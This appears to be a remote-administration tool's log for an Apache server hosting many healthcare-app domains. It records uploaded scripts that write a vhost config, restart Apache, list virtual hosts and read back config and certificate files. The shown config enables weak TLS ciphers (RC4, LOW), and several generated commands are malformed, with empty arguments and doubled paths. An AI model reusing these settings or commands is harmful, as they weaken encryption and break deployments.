    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi


2026-06-27 06:01:05: 

chmod 755 /tmp/pkp255146; /tmp/pkp255146; rm /tmp/pkp255146

2026-06-27 06:01:05: 




2026-06-27 06:01:05: 

PUT: /tmp/pkp343044

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-27 06:01:05: 

chmod 755 /tmp/pkp343044; /tmp/pkp343044; rm /tmp/pkp343044

2026-06-27 06:01:05: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:01:05: Establishing a connection
2026-06-27 06:01:05: 

PUT: /tmp/pkp609366

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-27 06:01:05: 

chmod 755 /tmp/pkp609366; /tmp/pkp609366; rm /tmp/pkp609366

2026-06-27 06:01:05: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:01:05: 

PUT: /tmp/pkp727871

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:01:05: 

chmod 755 /tmp/pkp727871; /tmp/pkp727871; rm /tmp/pkp727871

2026-06-27 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf	1517
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-06-27 06:01:05: 

PUT: /tmp/pkp779753

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
